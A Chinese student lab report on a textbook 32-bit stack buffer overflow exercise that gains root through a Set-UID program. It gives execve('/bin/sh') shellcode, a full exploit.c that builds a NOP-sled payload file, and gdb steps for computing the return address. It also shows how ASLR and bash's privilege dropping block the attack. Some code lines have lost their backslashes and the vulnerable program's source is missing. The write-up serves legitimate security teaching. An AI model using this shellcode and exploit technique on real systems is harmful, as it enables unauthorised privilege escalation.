缓冲区溢出漏洞实验
一、实验简介
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
二、实验准备
实验楼本身提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,需要在32位环境下作操作,因此实验之前需输入命令安装一些用于编译 32 位C程序的软件包:
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
三、实验步骤
3.1 初始设置
1、Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
2、此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现。
linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:
说明:(一)sudo su (1)sudo 可以临时获取root权限 sudo gedit /etc/shadow,表示临时使用root权限来编辑/etc/shadow密码文件,因为/etc/shadow密码文件需要使用root权限才能打开与编辑。所以这里使用了sudo命令临时使用root权限来做一些普通账户无法完成的工作。 (2)su表示切换用户命令 输入:su命令后回车表示切换当前的用户到root用户,或者: 输入:su - root(或者其他用户名)这里加了"-"后表示也切换的当前的环境变量到新用户的环境变量,su root(或者其他用户名)表示不切换环境变量到当前用户下。 sudo su 就是临时获取root的切换用户权限,由于su后面没有加具体用户,默认为切换到当前用户目录下。sudo -s是进入root根用户目录下。 (二)ln -s zsh sh (1)ln A B 是建立硬链接,即为A建立硬链接,硬链接名为B 硬链接等于cp -p 加同步更新。 (2)ln -s A B 是建立软链接。同理,为A建立软链接,软链接名为B。软链接可以理解成快捷方式。它和windows下的快捷方式的作用是一样的。
3、输入命令 linux32 进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,输入 /bin/bash 使用bash:
3.2 shellcode
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。比如以下代码:
1 #include <stdio.h> 2 3 int main() { 4 5 char *name[2]; 6 7 name[0] = "/bin/sh"; 8 9 name[1] = NULL; 10 11 execve(name[0], name, NULL); 12 13 }
注:其中execve(const char * filename,char * const argv[ ],char * const envp[ ])用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。 execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。
本次实验的 shellcode,就是刚才代码的汇编版本:
x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80
3.3 漏洞程序
1、把以下代码保存为“stack.c”文件,保存到 /tmp 目录下。代码如下:
2、通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。编译该程序,并设置 SET-UID。命令如下:
说明:GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector关闭这种机制。 而-z execstack用于允许执行栈。 -g参数是为了使编译后得到的可执行文档能用gdb调试。 为了方便普通用户执行一些特权命令,SUID/SGID程序允许普通用户以root身份暂时执行该程序,并在执行结束后再恢复身份。” chmod u+s 就是给某个程序的所有者以suid权限,可以像root用户一样操作。
3.4 攻击程序
1、我们的目的是攻击刚才的漏洞程序,并通过攻击获得root权限。把以下代码保存为“exploit.c”文件,保存到/tmp目录下。代码如下:
1 #include <stdlib.h> 2 3 #include <stdio.h> 4 5 #include <string.h> 6 7 char shellcode[]= 8 9 "x31xc0" //xorl %eax,%eax 10 11 "x50" //pushl %eax 12 13 "x68""//sh" //pushl $0x68732f2f 14 15 "x68""/bin" //pushl $0x6e69622f 16 17 "x89xe3" //movl %esp,%ebx 18 19 "x50" //pushl %eax 20 21 "x53" //pushl %ebx 22 23 "x89xe1" //movl %esp,%ecx 24 25 "x99" //cdq 26 27 "xb0x0b" //movb $0x0b,%al 28 29 "xcdx80" //int $0x80 30 31 ; 32 33 void main(int argc, char **argv) { 34 35 char buffer[517]; 36 37 FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ 38 39 memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??"); strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); 40 41 fwrite(buffer, 517, 1, badfile); 42 43 fclose(badfile); }
注意上面的代码,x??x??x??x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。
2、现在我们要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:
gdb stack
disass main
结果如图:
esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。
最后获得的这个 0xffffcfb0 就是 str 的地址。
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014
3、现在修改 exploit.c 文件,将 x??x??x??x?? 修改为计算的结果 x14xd0xffxff,注意顺序是反的。
然后,编译 exploit.c 程序:gcc -m32 -o exploit exploit.c
3.5 攻击结果
先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:
可见,通过攻击,获得了root 权限!
四、练习
1、按照实验步骤进行操作,攻击漏洞程序并获得 root 权限。
如上图所示,获得root权限
2、通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。
结论:由于地址空间随机化被开启,导致之前计算的地址与实际的地址出现了不同,从而不能完成攻击。
3、将 /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。
结论:由于为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。
因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,此时,即便攻击程序攻击了漏洞程序,也无法完成攻击。
作者:20181212滕珠江